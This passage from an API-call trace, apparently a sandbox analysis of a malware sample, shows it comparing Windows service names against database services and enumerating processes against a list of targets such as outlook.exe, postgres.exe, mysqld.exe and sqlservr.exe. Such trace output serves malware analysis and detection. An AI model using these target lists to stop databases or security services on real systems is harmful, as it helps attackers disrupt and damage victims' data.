(lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0052.761] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0052.761] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0052.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0052.761] lstrlenW (lpString="Schedule") returned 8 [0052.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0052.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0052.761] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0052.761] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0052.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0052.761] lstrlenW (lpString="SENS") returned 4 [0052.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0052.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0052.762] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0052.762] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0052.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0052.762] lstrlenW (lpString="ShellHWDetection") returned 16 [0052.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.762] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0052.762] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0052.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0052.762] lstrlenW (lpString="Spooler") returned 7 [0052.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0052.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0052.762] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0052.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0052.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0052.762] lstrlenW (lpString="sppsvc") returned 6 [0052.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0052.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0052.762] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0052.762] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0052.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0052.763] lstrlenW (lpString="SysMain") returned 7 [0052.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0052.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0052.763] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0052.763] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0052.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0052.763] lstrlenW (lpString="Themes") returned 6 [0052.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0052.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0052.763] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0052.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0052.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0052.763] lstrlenW (lpString="TrkWks") returned 6 [0052.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0052.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0052.763] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0052.763] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0052.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0052.763] lstrlenW (lpString="UxSms") returned 5 [0052.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0052.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0052.764] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0052.764] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0052.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0052.764] lstrlenW (lpString="VSS") returned 3 [0052.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0052.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0052.764] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0052.764] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0052.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0052.764] lstrlenW (lpString="WdiServiceHost") returned 14 [0052.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.764] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0052.764] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0052.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0052.764] lstrlenW (lpString="WdiSystemHost") returned 13 [0052.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.764] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0052.764] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0052.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0052.764] lstrlenW (lpString="WinDefend") returned 9 [0052.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0052.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0052.765] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0052.765] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0052.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0052.765] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0052.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.765] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0052.765] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0052.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0052.765] lstrlenW (lpString="Winmgmt") returned 7 [0052.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0052.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0052.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0052.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0052.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0052.765] lstrlenW (lpString="wscsvc") returned 6 [0052.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0052.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0052.765] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0052.765] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0052.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0052.765] lstrlenW (lpString="wuauserv") returned 8 [0052.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0052.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0052.766] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0052.766] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0052.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0052.766] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60e1c0 | out: hHeap=0x5c0000) returned 1 [0052.766] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0052.771] Process32FirstW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.772] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0052.773] lstrlenW (lpString="System") returned 6 [0052.773] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0052.773] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0052.773] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0052.773] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0052.773] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0052.773] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0052.773] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0052.773] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0052.774] lstrlenW (lpString="smss.exe") returned 8 [0052.774] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0052.774] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0052.775] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.775] lstrlenW (lpString="csrss.exe") returned 9 [0052.775] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0052.776] lstrlenW (lpString="wininit.exe") returned 11 [0052.776] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.777] lstrlenW (lpString="csrss.exe") returned 9 [0052.777] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0052.778] lstrlenW (lpString="winlogon.exe") returned 12 [0052.778] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0052.780] lstrlenW (lpString="services.exe") returned 12 [0052.780] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0052.781] lstrlenW (lpString="lsass.exe") returned 9 [0052.781] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0052.782] lstrlenW (lpString="lsm.exe") returned 7 [0052.782] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.783] lstrlenW (lpString="svchost.exe") returned 11 [0052.783] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.784] lstrlenW (lpString="svchost.exe") returned 11 [0052.784] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.785] lstrlenW (lpString="svchost.exe") returned 11 [0052.785] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.786] lstrlenW (lpString="svchost.exe") returned 11 [0052.786] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.787] lstrlenW (lpString="svchost.exe") returned 11 [0052.787] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0052.788] lstrlenW (lpString="audiodg.exe") returned 11 [0052.788] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.883] lstrlenW (lpString="svchost.exe") returned 11 [0052.883] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.884] lstrlenW (lpString="svchost.exe") returned 11 [0052.884] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0052.885] lstrlenW (lpString="dwm.exe") returned 7 [0052.885] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0052.886] lstrlenW (lpString="explorer.exe") returned 12 [0052.886] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0052.887] lstrlenW (lpString="spoolsv.exe") returned 11 [0052.887] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.888] lstrlenW (lpString="taskhost.exe") returned 12 [0052.888] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.889] lstrlenW (lpString="svchost.exe") returned 11 [0052.889] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0052.891] lstrlenW (lpString="taskeng.exe") returned 11 [0052.891] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.892] lstrlenW (lpString="taskhost.exe") returned 12 [0052.892] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.892] lstrlenW (lpString="svchost.exe") returned 11 [0052.893] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0052.895] lstrlenW (lpString="sppsvc.exe") returned 10 [0052.895] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.897] lstrlenW (lpString="svchost.exe") returned 11 [0052.897] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0052.898] lstrlenW (lpString="barrelsince.exe") returned 15 [0052.898] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0052.899] lstrlenW (lpString="cricket.exe") returned 11 [0052.899] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0052.900] lstrlenW (lpString="angelsalot.exe") returned 14 [0052.900] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0052.901] lstrlenW (lpString="bridge.exe") returned 10 [0052.901] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0052.902] lstrlenW (lpString="sh_shipping.exe") returned 15 [0052.902] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0052.903] lstrlenW (lpString="tobacco packet.exe") returned 18 [0052.903] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0052.904] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0052.904] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0052.905] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0052.905] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0052.906] lstrlenW (lpString="widespread.exe") returned 14 [0052.906] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0052.907] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0052.907] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0052.909] lstrlenW (lpString="zinc.exe") returned 8 [0052.909] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0052.910] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0052.910] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0052.911] lstrlenW (lpString="construction_rice.exe") returned 21 [0052.911] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0052.912] lstrlenW (lpString="mask.exe") returned 8 [0052.912] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0052.913] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0052.913] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0052.913] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0052.914] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0052.915] lstrlenW (lpString="curve standing.exe") returned 18 [0052.915] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0052.916] lstrlenW (lpString="3dftp.exe") returned 9 [0052.916] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0052.917] lstrlenW 